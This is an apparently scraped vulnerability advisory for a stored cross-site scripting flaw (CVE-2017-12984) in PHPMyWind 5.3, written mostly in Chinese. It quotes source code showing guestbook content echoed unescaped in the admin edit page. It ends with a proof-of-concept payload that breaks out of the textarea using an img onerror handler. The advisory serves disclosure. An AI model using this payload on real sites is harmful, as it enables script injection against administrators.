PHPMyWind 5.3 – Cross-Site Scripting
Exploit Title：PHPMyWind 5.3 has XSS Exploit Author:小雨 Vendor Homepage:http://phpmywind.com Software Link:http://phpmywind.com/downloads/PHPMyWind_5.3.zip Version:5.3 CVE:CVE-2017-12984 $r= $dosql->GetOne("SELECT Max(orderid) AS orderid FROM `#@__message`"); $orderid= (empty($r['orderid']) ? 1 : ($r['orderid'] + 1)); $nickname= htmlspecialchars($nickname);//游客(xxx) $contact= htmlspecialchars($contact); //联系方式 $content= htmlspecialchars($content); //留言内容 $posttime= GetMkTime(time()); $ip= gethostbyname($_SERVER['REMOTE_ADDR']); $sql= "INSERT INTO `#@__message` (siteid, nickname, contact, content, orderid, posttime, htop, rtop, checkinfo, ip) VALUES (1, '$nickname', '$contact', '$content', '$orderid', '$posttime', '', '', 'false', '$ip')"; if($dosql->ExecNoneQuery($sql)) { ShowMsg('留言成功，感谢您的支持！','message.php'); exit(); } } 可以看出使用htmlspecialchars进行过滤,带入库中. 跟进content参数。 127.0.0.1/PHPMyWind_5.3/admin/ message_update.php <?php require_once(dirname(__FILE__).'/inc/config.inc.php');IsModelPriv('message'); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>修改留言</title> <link href="https://www.exploit-db.com/exploits/42535/templates/style/admin.css" rel="stylesheet" type="text/css" /> <script type="text/javascript" src="https://www.exploit-db.com/exploits/42535/templates/js/jquery.min.js"></script> <script type="text/javascript" src="https://www.exploit-db.com/exploits/42535/templates/js/checkf.func.js"></script> <script type="text/javascript" src="https://www.exploit-db.com/exploits/42535/editor/kindeditor-min.js"></script> <script type="text/javascript" src="https://www.exploit-db.com/exploits/42535/editor/lang/zh_CN.js"></script> </head> <body> <?php $row = $dosql->GetOne("SELECT * FROM `#@__message` WHERE `id`=$id"); ?> <div class="formHeader"> <span class="title">修改留言</span> <a href="javascript:location.reload();" class="reload">刷新</a> </div> <form name="form" id="form" method="post" action="message_save.php"> <table width="100%" border="0" cellspacing="0" cellpadding="0" class="formTable"> <tr> <td width="25%" height="40" align="right">用户名：</td> <td width="75%"><strong><?php echo $row['nickname'] ?></strong></td> </tr> <tr> <td height="40" align="right">联系方式：</td> <td><input type="text" name="contact" id="contact" class="input" value="<?php echo $row['contact'] ?>" /></td> </tr> <tr> <td height="198" align="right">留言内容：</td> <td><textarea name="content" id="content"><?php echo $row['content'] ?></textarea> <script> p:33 <td><textarea name="content" id="content"><?php echo $row['content'] ?></textarea> 后台直接取出content参数,数据并未进行转义操作。 EXP: “><img/src=x onerror=alert(2001)><“‘ |